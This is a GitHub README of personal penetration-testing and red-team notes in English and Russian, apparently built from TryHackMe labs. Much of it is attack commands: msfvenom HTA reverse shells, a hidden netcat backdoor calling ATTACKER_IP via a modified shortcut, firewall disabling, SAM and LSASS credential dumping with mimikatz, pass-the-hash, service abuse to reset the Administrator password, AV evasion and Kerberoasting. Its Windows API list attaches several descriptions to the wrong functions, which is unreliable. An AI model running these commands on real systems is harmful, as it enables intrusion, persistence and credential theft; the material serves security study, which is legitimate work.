Skip to content

c0mrade12211/Pentests

Repository files navigation

Themes for Repeat:

  1. Enumeration (Linux, Windows)
  2. Which new tools I learn and for what purpose?
  3. Phishing with reverse shell (bypass and hidden)
  4. RE-exploitation techniques (RID, Pstools, creating new users with high privileges)
  5. Enumeration of domain
  6. Pass The Hash (Sym, system dump)

API

[+] API [+] https://github.com/arainho/awesome-api-security

Types of reconnaissance activities

  1. WHOIS and DNS-based reconnaissance
  2. Advanced searching
  3. Searching by image
  4. Google Hacking
  5. Specialized search engines
  6. Recon-ng
  7. Maltego
    • Passive test:
      • whois
      • dig, nslookup, host
      • traceroute/tracert
    • Google OSINT:
      • "search phrase": Find results with exact search phrase
      • OSINT filetype:pdf: Find files of type PDF related to a certain term
      • salary site:blog.tryhackme.com: Limit search results to a specific site
      • pentest -site:example.com: Exclude a specific site from results
      • walkthrough intitle:TryHackMe: Find pages with a specific term in the page title
      • challenge inurl:tryhackme: Find pages with a specific term in the page URL
    • OSINT sites/tools:
      • shodan
      • censys
      • recon-ng
      • maltego
      • full hunt

What need to extract

сканеры открытых портов;

  1. ICMP-сканеры;
  2. SNMP-сканеры;
  3. TCP/UDP
  4. сканеры уязвимостей и т. д. Во время данного этапа аудитор может получить следующую информацию:
  5. имена компьютеров;
  6. версию операционной системы;
  7. запущенные сервисы и их версии;
  8. IP-адреса;
  9. учетные записи пользователей и т. д.

Extract emails

  1. theharvester -d dns -b google

Red Team Rules

Activities:

  • Reconnaissance
  • Access Types
  • Phishing
  • Physical and social engineering
  • Positioning
  • Assumed breach scenario
  • Impact

Explicit Restrictions:

  • Use of white cards are strictly prohibited
  • Any form of DDoS or DoS is prohibited
  • Attacks against any system within 192.168.1.0/24 is prohibited

Authorized Target Space:

  • 10.0.4.0/22
  • *.bethechange.xyz, *.globalenterprises.thm

Below is an example of the CONOPS for a mature organization with a strong security posture. Example 1 - Holo Enterprises:

CONOPS:

Holo Enterprises has hired TryHackMe as an external contractor to conduct a month-long network infrastructure assessment and security posture. The campaign will utilize an assumed breach model starting in Tier 3 infrastructure. Operators will progressively conduct reconnaissance and attempt to meet objectives to be determined. If defined goals are not met, the red cell will move and escalate privileges within the network laterally. Operators are also expected to execute and maintain persistence to sustain for a period of three weeks. A trusted agent is expected to intervene if the red cell is identified or burned by the blue cell throughout the entirety of the engagement. The last engagement day is reserved for clean-up and remediation and consultation with the blue and white cell.

Example URLs:

An HTML Application (HTA)

HTA Reverse Connection user@machine$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o thm.hta Malicious HTA via Metasploit msf6 > use exploit/windows/misc/hta_server https://raw.githubusercontent.com/JohnWoodman/VBA-Macro-Reverse-Shell/main/VBA-Reverse-Shell.vba

Phishing

Password Attacks

  • https://default-password.info
  • crunch 2 2 01234abcd -o crunch.txt
  • git clone https://github.com/therodri2/username_generator.git
  • echo "John Smith" > users.lst
  • user@thm$ python3 username_generator.py -w users.lst
  • CeWL (Custom Word List generator) - Ruby-based application that can be used by password crackers like John the Ripper. CeWL can crawl a specified URL to a specified depth and return a list of words.

Spray Attack

Outlook web access (OWA) portal Tools:

  • SprayingToolkit (atomizer.py)
  • MailSniper
  • SMB
    • Tool: Metasploit (auxiliary/scanner/smb/smb_login)

POST exploitation (The lay of the land)

  • systeminfo | findstr Domain
  • BUILTIN\Administrator: Local admin access on a domain controller
  • Domain Admins: Administrative access to all resources in the domain
  • Enterprise Admins: Available only in the forest root
  • Schema Admins: Capable of modifying domain/forest; useful for red teamers
  • Server Operators: Can manage domain servers
  • Account Operators: Can manage users that are not in privileged groups

Active Directory (AD) Enum

  • Get-ADUser -Filter *
  • Get-ADUser -Filter * -SearchBase "OU=THM,DC=THMREDTEAM,DC=COM"
  • Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
  • Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
  • Get-Service WinDefend
  • wmic service where "name like 'THM Demo'" get Name,PathName
  • Get-Process -Name thm-demo
  • netstat -noa |findstr "LISTENING" |findstr "3212"

AD SCAN - Purple Knight

  • net localgroup "Remote Management Users" thmuser1 /add
  • evil-winrm -i MACHINE_IP -u thmuser1 -p Password321
  • reg save hklm\system system.bak
  • reg save hklm\sam sam.bak
  • python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Pass the Hash

  • evil-winrm -i MACHINE_IP -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3
  • SeBackupPrivilege: The user can read any file in the system, ignoring any DACL in place.
  • SeRestorePrivilege: The user can write any file in the system, ignoring any DACL in place.
  • secedit /export /cfg config.inf
  • next step move:
    • secedit /import /cfg config.inf /db config.sdb
    • secedit /configure /db config.sdb /cfg config.inf
  • Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI and need to allow full control
  • And after we can dump hashes (sam, system)

Interaction between RID and LSASS

  • The interaction between RID and LSASS involves LSASS using RID to identify and secure objects in the Active Directory domain. When a user logs into the system, LSASS checks their account using RID to ensure the user has the right to access resources and perform requested operations.

Backdooring Files

  1. We can change shortcut files (target) to execute our reverse shell (backdoor)
    • backdoor.ps1:
    • Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
      • Target shortcut:
      • powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
  2. Hijacking File Associations
    • We can find a subkey for the corresponding ProgID and change the default command for that extension.

Abusing Services

  1. sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto

    • sc.exe start THMservice
    • After start up, the administrator's password will be changed
    • We can also upload our executable file (reverse shell)
  2. Changed services binpath

    • sc.exe qc THMService3
    • sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
    • When this service starts, our reverse shell will run

Task Scheduler

  • We can create a Scheduler task with a Reverse shell that will run in one minute

This text includes all the information you provided, reformatted for clarity. Let me know if you need any further modifications or additional information.

WinAPI

  1. Header files or imports - Defines libraries to be imported at run-time, defined by header files or library imports. Uses pointers to obtain the function address.
  2. Core DLLs - A group of four DLLs that define call structures. (KERNEL32, USER32, and ADVAPI32). These DLLs define kernel and user services that are not contained in a single subsystem.
  3. Supplemental DLLs - Other DLLs defined as part of the Windows API. Controls separate subsystems of the Windows OS. ~36 other defined DLLs. (NTDLL, COM, FVEAPI, etc.)
  4. Call Structures - Defines the API call itself and parameters of the call.
  5. API Calls - The API call used within a program, with function addresses obtained from pointers.

Commonoly abused API Calls

  1. LoadLibraryA - Maps a specified DLL into the address space of the calling process
  2. GetUserNameA - Retrieves the name of the user associated with the current thread
  3. GetComputerNameA - Retrieves a NetBIOS or DNS name of the local computer
  4. GetVersionExA - Obtains information about the version of the operating system currently running
  5. VirtualProtect - Retrieves the fully qualified path for the file of the specified module and process
  6. GetProcAddress - Retrieves contents of STARTUPINFO structure (window station, desktop, standard handles, and appearance of a process)
  7. GetModuleHandle - Returns a module handle for the specified module if mapped into the calling process's address space
  8. GetStartupInfoA - Returns the address of a specified exported DLL function 9)GetModuleFileNameA - Changes the protection on a region of memory in the virtual address space of the calling process

PrivEsc notes

  1. After initial access need to gain a foothold in the system
  2. Need to get admin rights (privesc)
  3. dump lsass(ntlm hashes) if kerberos dump tikets

C:>mimikatz.exe mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords full mimikatz # exit

Запреты AV на создание слепков памяти LSASS условно можно разделить на 3 части:

  1. Запрет на получение дескриптора процесса lsass.exe.
  2. Запрет на чтение виртуальной памяти процесса lsass.exe.
  3. Запрет на сохранение результирующего дампа на диск.

Ниже мы рассмотрим 3 проекта, каждый из которых в свое время помогал мне извлечь чувствительную информацию из памяти сетевых узлов при активном средстве KES на внутренних пентестах или операциях Red Team. MirrorDump Первым обнаруженным мною проектом, который на удивление мог обходить защиту KES, был MirrorDump от исследователя @EthicalChaos.

Tools SharpGhosting can to obfuscation mimikatz but will be to detect KES

  1. https://github.com/Wra7h/SharpGhosting
  2. C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /out:SharpGhost.exe /unsafe C:\Path\to\SharpGhosting*.cs

Проверяем инфраструктуру на уязвимости

На этом этапе пентеста мы всегда проверяем инфраструктуру на наличие популярных уязвимостей:

  1. Zerologon (CVE-2020-1472);
  2. Bluekeep (CVE-2019-0708);
  3. ProxyShell (CVE-2021-34473);
  4. EternalBlue (CVE-2017-0144), пускай она и теряет актуальность.

NPU Non-Privileged User

Can be used to retrieve domain users who do not have "Do not require Kerberos preauthentication" set and ask for their TGTs without knowing their passwords. It is then possible to attempt to crack the session key sent along the ticket to retrieve the user password. This attack is known as ASREProast (https://www.thehacker.recipes/a-d/movement/kerberos/asreproast) ASREPRoast - это метод взлома паролей в среде Active Directory, который направлен на получение зашифрованных хэшей паролей пользователей, использующих аутентификацию Kerberos. Злоумышленник, имея доступ к сети, может запросить у контроллера домена зашифрованные хэши паролей пользователей, не имеющих установленного атрибута "Do not require Kerberos preauthentication". Далее злоумышленник может попытаться расшифровать эти хэши, используя атаки перебора паролей для получения их в открытом виде. Эта атака позволяет злоумышленнику получить доступ к учетным данным пользователей и проникнуть в систему.

Pass-The-Hash

  1. mimikatz # sekurlsa::logonpasswords full //Get NTLM hashes
  2. And connect with Evil-Winrm

Kerberoasting.

Ее цель — соб­рать билеты TGS для служб, которые запус­кают­ся от име­ни поль­зовате­лей, а не от сис­темных уче­ток. Тикеты TGS зашиф­рованы клю­чами, получен­ными из паролей поль­зовате­лей, а зна­чит, их дан­ные мож­но взло­мать прос­тым перебо­ром. Уяз­вимые учет­ные записи опре­делим по полю SPN, которое не будет пус­тым. Выпол­ним зап­рос TGS с помощью скрип­та GetUserSPNs из все того же impacket.

  1. GetUserSPNs.py scrm.local/ksimpson -dc-ip dc1.scrm.local -dc-host dc1.scrm.local -request -k -no-pass

Spawn normal shell

stty raw -echo && fg

About

data_from_pentest

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published